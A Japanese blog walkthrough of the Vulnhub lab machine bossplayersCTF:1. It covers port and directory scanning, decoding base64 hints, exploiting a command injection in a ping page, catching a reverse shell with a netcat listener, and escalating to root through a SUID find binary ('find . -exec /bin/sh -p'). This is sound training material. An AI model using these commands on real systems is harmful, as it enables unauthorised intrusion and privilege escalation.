banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

bossplayersCTF:1-Vulnhubウォークスルー

ターゲットマシンのアドレス
難易度:簡単

ツールと脆弱性情報#

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • コマンド実行
  • SUID 権限の find コマンドを使用した昇格

0x00 情報収集#

ターゲットマシンのスキャン#

netdiscoverを使用して現在のネットワーク範囲をスキャンし、ホスト名がPCS Systemtechnik GmbHである場合は通常ターゲットマシンです:

image

nmap -sS -sV -n -T4 -p- 192.168.1.8
  • -sS: TCP SYN スキャン、または半オープンスキャンとも呼ばれます
  • -sV: サービス / バージョン情報を特定するために開いているポートを探索します
  • -n: DNS 解決を行わずに時間を節約します
  • -T4: タイミングテンプレートをレベル 4 に設定します
  • -p-: すべてのポートをスキャンします
  • -A: OS 検出、バージョン検出、スクリプトスキャン、トレースルートを有効にします。-A オプションには - sV オプションも含まれます

image

apacheサービスとsshのみが開かれていることがわかります

パスのスキャン#

dirb は、ステータスコードが 200 のアドレスのみを表示するようにデフォルトで設定されています:

dirb http://192.168.1.8 -X .php,.txt,.zip,.html

image

一方、dirsearch は、すべてのステータスコードのパスをデフォルトで表示し、-xオプションを使用して表示されないステータスコードを実行します:

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

image

gobuster というスキャンツールもあります。辞書として 2 万以上のスターがついたセキュリティ辞書を使用できます。

kaliでは、次のコマンドで辞書をインストールできます:apt install seclists -y。インストール後、デフォルトの辞書の場所は次のとおりです。

/usr/share/seclists

次に、スキャンしてみましょう。

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

image

このツールも便利です

0x01 シェルのリバース#

次に、robots.txtにアクセスしてみると、base64エンコードされた文字列が表示されます。デコードすると、ターゲットマシンの作者が冗談を言っていることがわかります。

image

ホームページにアクセスすると、ソースコードの最後にコメントがあります。

image

base64を 3 回デコードしてみると、ファイル名がworkinginprogress.phpであることがわかります。

image

そのパスにアクセスします。

image

pingコマンドを実行するように求められますが、複数回試してみると、cmdコマンドインジェクションであることがわかります。

image

つまり、ここではshellコマンドを実行できます。

kalincをリッスンします。

nc -lvp 4444

image

先ほどのコマンドインジェクションの場所でシェルをリバースします。

image

shellを取得した後、pythonpty.spawnから標準の pty を取得し、Python のプロンプトから対話型シェルに移動します。

python -c 'import pty;pty.spawn("/bin/bash")'

image

現在のコマンドインジェクションの身分であるwww-dataとして、ウェブサイトのルートディレクトリにアクセスできることがわかります。

find コマンド自体がこの権限を持っています。これにより、作業が少し簡単になります。

SUID 権限の実行可能ファイルを検索するためにfindコマンドを使用します。次のコマンドを使用します。

find / -perm -u=s -type f 2>/dev/null
  • /: ルートディレクトリで検索します
  • perm: 指定された権限のファイルを検索します。/u=s または - u=s オプションはシステム内のすべてのSUIDファイルをリストアップします
  • type: 指定されたファイルタイプに一致するファイルを検索します。-type f: 指定されたディレクトリ内のすべての通常ファイルを検索します
  • 2>/dev/null: 2 > の部分は「ファイルチャネル 2 をリダイレクトする」という意味で、標準エラーファイルチャネル stderr にマップされます。これはプログラムがエラーを書き込む場所です。/dev/null は特殊な文字デバイスであり、そこに書き込むことしか許可されていません。読み取り時には何も返さないため、2>/dev/null はシェルが実行中のプログラムの標準エラーを /dev/null にリダイレクトし、効果的に無視します。
  • SUID: SUID (Set owner User ID up on execution) とは、所有者の実行ビットに設定されるものです。この権限を持つファイルは、実行時に呼び出し元に所有者の権限を一時的に与えます。したがって、root が所有者であり、実行ビットに s があるファイルを見つけると、通常のユーザーでそのファイルを実行しても、そのファイルの実行権限は root です。
  • なぜ find コマンドを使用するのですか?理由:find の後にはコマンドを入力できるため、他のコマンドを実行する必要があります。つまり、find コマンドを呼び出すと、find コマンドには s 権限があるため、find が実行されるときの権限は root コマンドであり、find の後に入力されたコマンドも root 権限で実行されるコマンドです。

参考文献:

image

/usr/bin/findが見つかりました。つまり、現在使用しているfindコマンドにはSUID権限があります。

0x02 find コマンドによる昇格#

find コマンドを使用して /bin/sh を呼び出してシェルを実行してみましょう。

find . -exec /bin/sh -p \; -quit
  • exec: 各ファイルまたはディレクトリに対して特定のコマンドを実行します。終了は;で終了するため、このコマンドの後ろのセミコロンは欠かせません。各システムでセミコロンには異なる意味があるため、エスケープするためにバックスラッシュを前に付けます。
  • quit: コマンドの実行が完了したら終了します

image

rootのシェルを成功裏に取得し、/root ディレクトリにある root.txt ファイルを確認して完了です!

本文終了。

参考文献:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。